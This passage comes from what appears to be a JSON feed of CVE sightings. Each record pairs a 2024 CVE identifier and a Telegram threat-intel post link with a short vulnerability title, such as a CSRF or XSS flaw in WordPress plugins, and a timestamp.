"CVE-2024-22591", "type": "seen", "source": "https://t.me/ctinow/183057", "content": "https://ift.tt/0RdoKMl\nCVE-2024-22591 | FlyCMS 1.0 /system/user/group_save cross-site request forgery", "creation_timestamp": "2024-02-12T12:06:31.000000Z"}, {"uuid": "1571515d-111e-4fc3-9e17-98e5b4bf41e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22365", "type": "seen", "source": "https://t.me/ctinow/183016", "content": "https://ift.tt/lOwF4iX\nCVE-2024-22365 | Linux-PAM up to 1.5.3 pam_namespace.so protect_dir denial of service", "creation_timestamp": "2024-02-12T10:41:45.000000Z"}, {"uuid": "cfb22d90-5b45-4ddb-868f-272bbaac679f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22143", "type": "seen", "source": "https://t.me/ctinow/182640", "content": "https://ift.tt/nKX693l\nCVE-2024-22143 | WP Spell Check Plugin up to 9.17 on WordPress cross-site request forgery", "creation_timestamp": "2024-02-10T20:46:20.000000Z"}, {"uuid": "508c9998-f126-4889-b823-59573067cacd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22146", "type": "seen", "source": "https://t.me/ctinow/182639", "content": "https://ift.tt/CxtK6sb\nCVE-2024-22146 | Schema & Structured Data for WP & AMP Plugin up to 1.25 on WordPress cross site scripting", "creation_timestamp": "2024-02-10T20:46:19.000000Z"}, {"uuid": "2620ec73-2815-44e5-a628-a0e5ffcba072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22147", "type": "seen", "source": "https://t.me/ctinow/182637", "content": "https://ift.tt/UajWnRo\nCVE-2024-22147 | PDF Invoices & Packing Slips for WooCommerce Plugin sql injection", "creation_timestamp": "2024-02-10T20:16:51.000000Z"}, {"uuid": "772b5659-0060-4ee1-85ef-db50d04710a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22416", "type": "seen", "source": "https://t.me/ctinow/182953", "content": "https://ift.tt/9Hr8iQD\nCVE-2024-22416 | pyLoad up to 0.5.0b3.dev77 API cross-site request forgery (GHSA-pgpj-v85q-h5fm)", "creation_timestamp": "2024-02-12T09:02:37.000000Z"}, {"uuid": "38a17b8d-61d1-4672-b518-aceaa512c03b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22667", "type": "seen", "source": "https://t.me/ctinow/179064", "content": "https://ift.tt/2ZzB6MC\nCVE-2024-22667", "creation_timestamp": "2024-02-05T09:31:32.000000Z"}, {"uuid": "75e5d372-53c8-4fda-82bd-cccb90cdfa64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22938", "type": "seen", "source": "https://t.me/ctinow/178380", "content": "https://ift.tt/lYjFNcu\nCVE-2024-22938 Exploit", "creation_timestamp": "2024-02-03T03:16:28.000000Z"}, {"uuid": "1d737c44-f686-40fd-bbfb-9d4f16ace720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22647", "type": "seen", "source": "https://t.me/ctinow/178379", "content": "https://ift.tt/3uPVoOk\nCVE-2024-22647 Exploit", "creation_timestamp": "2024-02-03T03:16:27.000000Z"}, {"uuid": "46023dbb-65ba-4af8-8746-36b31c3a4fa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22648", "type": "seen", "source": "https://t.me/ctinow/178378", "content": "https://ift.tt/0ALjRs1\nCVE-2024-22648 Exploit", "creation_timestamp": "2024-02-03T03:16:25.000000Z"}, {"uuid": "8d51d644-b27c-4bbd-b066-7e2849e08305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22643", "type": "seen", "source": "https://t.me/ctinow/178375", "content": "https://ift.tt/ksdma9g\nCVE-2024-22643 Exploit", "creation_timestamp": "2024-02-03T03:16:22.000000Z"}, {"uuid": "3092aa63-9153-43b4-920e-cc4dc226744c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22646", "type": "seen", "source": "https://t.me/ctinow/178374", "content": "https://ift.tt/aITr38h\nCVE-2024-22646 Exploit", "creation_timestamp": "2024-02-03T03:16:20.000000Z"}, {"uuid": "3ec9ddcb-d7df-4f66-bea4-07e8871779f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22027", "type": "seen", "source": "https://t.me/ctinow/177984", "content": "https://ift.tt/6MrD4yE\nCVE-2024-22027 | AYS Pro Plugins Quiz Maker Plugin prior 6.5.0.6 on WordPress denial of service", "creation_timestamp": "2024-02-02T08:36:50.000000Z"}, {"uuid": "166478b4-a868-4ab2-9e64-3ba3ba1e3624", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22204", "type": "seen", "source": "https://t.me/ctinow/177963", "content": "https://ift.tt/e4hmEOY\nCVE-2024-22204 Exploit", "creation_timestamp": "2024-02-02T08:16:30.000000Z"}, {"uuid": "c483e566-4a22-4d4c-83a0-4f41a501b889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22715", "type": "seen", "source": "https://t.me/ctinow/182651", "content": "https://ift.tt/eCKI9FO\nCVE-2024-22715 | Stupid Simple CMS up to 1.2.4 /admin-edit.php cross-site request forgery", "creation_timestamp": "2024-02-10T22:21:34.000000Z"}, {"uuid": "1149ade5-d2b9-4df1-997e-2df5b49afb6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22386", "type": "seen", "source": "https://t.me/ctinow/179063", "content": "https://ift.tt/UDnekiw\nCVE-2024-22386", "creation_timestamp": "2024-02-05T09:31:31.000000Z"}, {"uuid": "eada9793-d4b3-472a-a707-16df03f5373e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22141", "type": "seen", "source": "https://t.me/ctinow/178610", "content": "https://ift.tt/rPzSZMO\nCVE-2024-22141 | Profile Builder Pro Plugin up to 3.10.0 on WordPress One-Time Password information disclosure", "creation_timestamp": "2024-02-03T17:21:14.000000Z"}, {"uuid": "75f44924-16cb-4928-91fc-f7284b77e277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22428", "type": "seen", "source": "https://t.me/ctinow/178596", "content": "https://ift.tt/iIBpz7k\nCVE-2024-22428 | Dell iDRAC Service Module up to 5.3.0.0 default permission (dsa-2024-018)", "creation_timestamp": "2024-02-03T16:26:53.000000Z"}, {"uuid": "20fdafaf-364f-488d-b05e-ec270924abc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22137", "type": "seen", "source": "https://t.me/ctinow/178365", "content": "https://ift.tt/K6z7q93\nCVE-2024-22137 | MailMunch Constant Contact Forms Plugin up to 2.0.11 on WordPress cross site scripting", "creation_timestamp": "2024-02-03T03:11:50.000000Z"}, {"uuid": "1aa1cd4e-2bfd-42f3-ae2a-55fa5c9f65ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22207", "type": "seen", "source": "https://t.me/ctinow/178554", "content": "https://ift.tt/jbsuZtF\nCVE-2024-22207 | fastify-swagger-ui up to 2.0.x insecure default initialization of resource", "creation_timestamp": "2024-02-03T14:21:17.000000Z"}, {"uuid": "201e8de1-dcda-420d-8ff0-af3f209263c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22209", "type": "seen", "source": "https://t.me/ctinow/178405", "content": "https://ift.tt/sT4kIfK\nCVE-2024-22209 | Open edX edx-platform Endpoint access control (GHSA-qx8m-mqx3-j9fm)", "creation_timestamp": "2024-02-03T07:11:02.000000Z"}, {"uuid": "5260431f-8972-427e-bb0e-a3f2e89b292d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22550", "type": "seen", "source": "https://t.me/ctinow/178275", "content": "https://ift.tt/INdZ17s\nCVE-2024-22550 Exploit", "creation_timestamp": "2024-02-02T21:16:47.000000Z"}, {"uuid": "96a4876f-3b07-4107-8d1a-7201ce272b49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22533", "type": "seen", "source": "https://t.me/ctinow/177912", "content": "https://ift.tt/5hImaHU\nCVE-2024-22533", "creation_timestamp": "2024-02-02T04:21:48.000000Z"}, {"uuid": "47a9186f-e631-4ef3-a1a2-91a0a1bfe439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22320", "type": "seen", "source": "https://t.me/ctinow/177911", "content": "https://ift.tt/BSUcYtw\nCVE-2024-22320", "creation_timestamp": "2024-02-02T04:21:47.000000Z"}, {"uuid": "7ec1a15a-98c6-4518-b115-fc540c88b57a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22319", "type": "seen", "source": "https://t.me/ctinow/177910", "content": "https://ift.tt/irTeA0j\nCVE-2024-22319", "creation_timestamp": "2024-02-02T04:21:45.000000Z"}, {"uuid": "c050dc6b-430c-4090-8dc1-5f14c3cb7c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22545", "type": "seen", "source": "https://t.me/ctinow/178311", "content": "https://ift.tt/gCdjXle\nCVE-2024-22545 Exploit", "creation_timestamp": "2024-02-02T23:16:25.000000Z"}, {"uuid": "b6e1e8ef-ece0-4ca5-aeb7-db5101392ff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22016", "type": "seen", "source": "https://t.me/ctinow/177978", "content": "https://ift.tt/hDsIrHP\nCVE-2024-22016 | Rapid SCADA up to 5.8.4 permission assignment (icsa-24-011-03)", "creation_timestamp": "2024-02-02T08:36:43.000000Z"}, {"uuid": "ee36efac-4932-419e-b4de-eac60984ac8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22096", "type": "seen", "source": "https://t.me/ctinow/177977", "content": "https://ift.tt/fYcRrPh\nCVE-2024-22096 | Rapid SCADA up to 5.8.4 Arbitrary File path traversal (icsa-24-011-03)", "creation_timestamp": "2024-02-02T08:36:42.000000Z"}, {"uuid": "5a21acec-64b1-4d9e-b149-1c835550a480", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22901", "type": "seen", "source": "https://t.me/ctinow/177899", "content": "https://ift.tt/hdUMWpI\nCVE-2024-22901", "creation_timestamp": "2024-02-02T03:22:02.000000Z"}, {"uuid": "865462d1-fbbd-46b6-868c-5a62fb40407e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22900", "type": "seen", "source": "https://t.me/ctinow/177898", "content": "https://ift.tt/SOvldzp\nCVE-2024-22900", "creation_timestamp": "2024-02-02T03:22:01.000000Z"}, {"uuid": "bf4e3717-af79-401b-9777-87dbdaec6b97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22899", "type": "seen", "source": "https://t.me/ctinow/177897", "content": "https://ift.tt/2s7y3NM\nCVE-2024-22899", "creation_timestamp": "2024-02-02T03:22:00.000000Z"}, {"uuid": "78c4c075-18c0-4187-b4ea-fc9a41f91f80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22779", "type": "seen", "source": "https://t.me/ctinow/177896", "content": "https://ift.tt/Jwtdrfx\nCVE-2024-22779", "creation_timestamp": "2024-02-02T03:22:00.000000Z"}, {"uuid": "047deb46-98b7-4c55-a757-20a6cb9efae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "seen", "source": "https://t.me/ctinow/177765", "content": "https://ift.tt/pkZBFwX\nCVE-2024-22729 Exploit", "creation_timestamp": "2024-02-01T20:16:35.000000Z"}, {"uuid": "6f831234-be06-4226-be50-cf97c886b2e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22859", "type": "seen", "source": "https://t.me/ctinow/177378", "content": "https://ift.tt/wfUedVD\nCVE-2024-22859", "creation_timestamp": "2024-02-01T08:31:08.000000Z"}, {"uuid": "27882289-00b0-4b94-aba1-d172e2b2fb04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22135", "type": "seen", "source": "https://t.me/ctinow/178575", "content": "https://ift.tt/1gl542o\nCVE-2024-22135 | Order Export & Order Import for WooCommerce Plugin upload_import_file unrestricted upload", "creation_timestamp": "2024-02-03T14:52:10.000000Z"}, {"uuid": "f70afdfb-285a-41fe-8b3b-229488426d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22551", "type": "seen", "source": "https://t.me/ctinow/177816", "content": "https://ift.tt/GSVfiYv\nCVE-2024-22551 Exploit", "creation_timestamp": "2024-02-01T23:16:08.000000Z"}, {"uuid": "34e2d272-1274-4273-9334-cae33d8dc974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22449", "type": "seen", "source": "https://t.me/ctinow/177491", "content": "https://ift.tt/yZFKuoz\nCVE-2024-22449", "creation_timestamp": "2024-02-01T11:31:21.000000Z"}, {"uuid": "a3037efa-81fc-46c7-9886-bfb94835a60a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22430", "type": "seen", "source": "https://t.me/ctinow/177490", "content": "https://ift.tt/EzD7Ml0\nCVE-2024-22430", "creation_timestamp": "2024-02-01T11:31:20.000000Z"}, {"uuid": "0a58cfbd-8216-46cf-ae61-3444c8afc1e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22148", "type": "seen", "source": "https://t.me/ctinow/177489", "content": "https://ift.tt/8YePsG4\nCVE-2024-22148", "creation_timestamp": "2024-02-01T11:31:19.000000Z"}, {"uuid": "dd4cda54-6e5f-4229-b86e-6d81828f12a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22927", "type": "seen", "source": "https://t.me/ctinow/178234", "content": "https://ift.tt/835yRc6\nCVE-2024-22927 Exploit", "creation_timestamp": "2024-02-02T19:17:06.000000Z"}, {"uuid": "35efdc7a-ac0d-4616-be75-7ddf2071743c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22142", "type": "seen", "source": "https://t.me/ctinow/178366", "content": "https://ift.tt/nf7NFKr\nCVE-2024-22142 | Cozmoslabs Profile Builder Pro Plugin up to 3.10.0 on WordPress cross site scripting", "creation_timestamp": "2024-02-03T03:11:51.000000Z"}, {"uuid": "7d32319d-7d42-4cc4-b0eb-5b2a672b627e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22206", "type": "seen", "source": "https://t.me/ctinow/178357", "content": "https://ift.tt/tRLQlZS\nCVE-2024-22206 | clerk javascript up to 4.29.2 auth/getAuth authorization (GHSA-q6w5-jg5q-47vg)", "creation_timestamp": "2024-02-03T02:26:52.000000Z"}, {"uuid": "cd48ec34-64e0-4618-b415-da8e4e35db3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22902", "type": "seen", "source": "https://t.me/ctinow/177900", "content": "https://ift.tt/PrlJLV2\nCVE-2024-22902", "creation_timestamp": "2024-02-02T03:22:03.000000Z"}, {"uuid": "5f459e89-394c-4bd8-b4ee-90821247d04d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22203", "type": "seen", "source": "https://t.me/ctinow/176188", "content": "https://ift.tt/9AMsmrN\nCVE-2024-22203 Exploit", "creation_timestamp": "2024-01-30T19:17:11.000000Z"}, {"uuid": "4fa543f4-d9ff-4ffe-bf03-8c14237a5ff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22851", "type": "seen", "source": "https://t.me/ctinow/178017", "content": "https://ift.tt/96ZD1fd\nCVE-2024-22851", "creation_timestamp": "2024-02-02T10:31:49.000000Z"}, {"uuid": "9cc0a08d-ffca-4e77-b9ef-65bcbfec8ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22307", "type": "seen", "source": "https://t.me/ctinow/176960", "content": "https://ift.tt/HrBx4Jz\nCVE-2024-22307", "creation_timestamp": "2024-01-31T18:22:18.000000Z"}, {"uuid": "f2d12b2a-4e69-41b6-adb8-c43d2e9a3214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22306", "type": "seen", "source": "https://t.me/ctinow/176959", "content": "https://ift.tt/cEgu8Az\nCVE-2024-22306", "creation_timestamp": "2024-01-31T18:22:17.000000Z"}, {"uuid": "095a4701-db88-496a-b3fb-6e4f54f8c76f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22302", "type": "seen", "source": "https://t.me/ctinow/176958", "content": "https://ift.tt/jSyzbK2\nCVE-2024-22302", "creation_timestamp": "2024-01-31T18:22:16.000000Z"}, {"uuid": "d4af2ab3-3dd3-48d0-84ff-e18531cfda70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22492", "type": "seen", "source": "https://t.me/ctinow/178263", "content": "https://ift.tt/cP64qio\nCVE-2024-22492 | JFinalcms 5.0.0 /gusetbook/save contact cross site scripting", "creation_timestamp": "2024-02-02T20:46:42.000000Z"}, {"uuid": "cf0bfbd2-c7ee-4dd0-adda-de7671c6cb1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22493", "type": "seen", "source": "https://t.me/ctinow/178262", "content": "https://ift.tt/TBx6M1V\nCVE-2024-22493 | JFinalcms 5.0.0 /gusetbook/save content cross site scripting", "creation_timestamp": "2024-02-02T20:46:41.000000Z"}, {"uuid": "524b3b2e-9b80-4a66-82be-d5df5eda2d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22016", "type": "seen", "source": "https://t.me/ctinow/177865", "content": "https://ift.tt/d4Txi0A\nCVE-2024-22016", "creation_timestamp": "2024-02-02T01:31:20.000000Z"}, {"uuid": "44385c7d-cb8c-4b69-a9ca-e641ceada43b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22927", "type": "seen", "source": "https://t.me/ctinow/177843", "content": "https://ift.tt/mcQRfTY\nCVE-2024-22927", "creation_timestamp": "2024-02-02T00:26:29.000000Z"}, {"uuid": "c0b94276-dcd1-471b-b24d-677256f24962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22749", "type": "seen", "source": "https://t.me/ctinow/177095", "content": "https://ift.tt/hNAmi3b\nCVE-2024-22749 Exploit", "creation_timestamp": "2024-01-31T21:17:19.000000Z"}, {"uuid": "0a9310d5-f3e6-4982-94b3-67de9ec46671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22751", "type": "seen", "source": "https://t.me/ctinow/176421", "content": "https://ift.tt/lbgs0j1\nCVE-2024-22751 Exploit", "creation_timestamp": "2024-01-31T02:17:08.000000Z"}, {"uuid": "71745ffc-4b63-4f8e-b09c-fa49980289c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22305", "type": "seen", "source": "https://t.me/ctinow/176719", "content": "https://ift.tt/sx8VcaI\nCVE-2024-22305", "creation_timestamp": "2024-01-31T13:32:25.000000Z"}, {"uuid": "d4665abc-a591-467d-a59f-641c58660dc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22290", "type": "seen", "source": "https://t.me/ctinow/176718", "content": "https://ift.tt/o6Crw4N\nCVE-2024-22290", "creation_timestamp": "2024-01-31T13:32:24.000000Z"}, {"uuid": "4997871f-ae6d-4918-9e94-822f5b05e213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22287", "type": "seen", "source": "https://t.me/ctinow/176717", "content": "https://ift.tt/I41cEW6\nCVE-2024-22287", "creation_timestamp": "2024-01-31T13:32:23.000000Z"}, {"uuid": "8f30795a-80f1-42a8-bec2-8861591b9aa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22795", "type": "seen", "source": "https://t.me/ctinow/181614", "content": "https://ift.tt/URpb0QH\nCVE-2024-22795", "creation_timestamp": "2024-02-08T20:31:48.000000Z"}, {"uuid": "522b0d7b-40cb-4f48-8023-428bff4d6c4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22529", "type": "seen", "source": "https://t.me/ctinow/177097", "content": "https://ift.tt/FuVITqZ\nCVE-2024-22529 Exploit", "creation_timestamp": "2024-01-31T21:17:22.000000Z"}, {"uuid": "d14aeede-1f4a-4dc5-b846-f2ffeebb20a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22286", "type": "seen", "source": "https://t.me/ctinow/177023", "content": "https://ift.tt/8vlI9FQ\nCVE-2024-22286", "creation_timestamp": "2024-01-31T19:31:49.000000Z"}, {"uuid": "5e70e179-144e-4db8-9355-3bee28ef0b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22163", "type": "seen", "source": "https://t.me/ctinow/177021", "content": "https://ift.tt/dWTAIcS\nCVE-2024-22163", "creation_timestamp": "2024-01-31T19:31:47.000000Z"}, {"uuid": "3f212cde-5c21-4dd5-98c8-a714a67ac339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22282", "type": "seen", "source": "https://t.me/ctinow/177022", "content": "https://ift.tt/kFWDUVm\nCVE-2024-22282", "creation_timestamp": "2024-01-31T19:31:48.000000Z"}, {"uuid": "efce2fb5-d25c-49d4-9f9e-d71804ab5f1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22289", "type": "seen", "source": "https://t.me/ctinow/177024", "content": "https://ift.tt/7x9AGnF\nCVE-2024-22289", "creation_timestamp": "2024-01-31T19:31:50.000000Z"}, {"uuid": "b8c401a8-09b0-4b85-aba9-c7b7ed3808d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22162", "type": "seen", "source": "https://t.me/ctinow/177020", "content": "https://ift.tt/bhApDyM\nCVE-2024-22162", "creation_timestamp": "2024-01-31T19:31:46.000000Z"}, {"uuid": "dec1db27-bcf1-455a-993c-111f42592ff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22159", "type": "seen", "source": "https://t.me/ctinow/177064", "content": "https://ift.tt/R3hON1j\nCVE-2024-22159", "creation_timestamp": "2024-01-31T20:31:33.000000Z"}, {"uuid": "49b733e3-3960-459d-80a2-20da68b54404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22158", "type": "seen", "source": "https://t.me/ctinow/177063", "content": "https://ift.tt/e6m739N\nCVE-2024-22158", "creation_timestamp": "2024-01-31T20:31:32.000000Z"}, {"uuid": "8626781e-f394-4638-8c55-6596c9289a87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22153", "type": "seen", "source": "https://t.me/ctinow/177062", "content": "https://ift.tt/nobOZX1\nCVE-2024-22153", "creation_timestamp": "2024-01-31T20:31:31.000000Z"}, {"uuid": "813f44e0-72af-4c9b-8380-05cadbb5b2ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22150", "type": "seen", "source": "https://t.me/ctinow/177061", "content": "https://ift.tt/Dgv8uIr\nCVE-2024-22150", "creation_timestamp": "2024-01-31T20:31:29.000000Z"}, {"uuid": "f46b6064-137a-4c7b-85f0-4d9782feb067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22146", "type": "seen", "source": "https://t.me/ctinow/177060", "content": 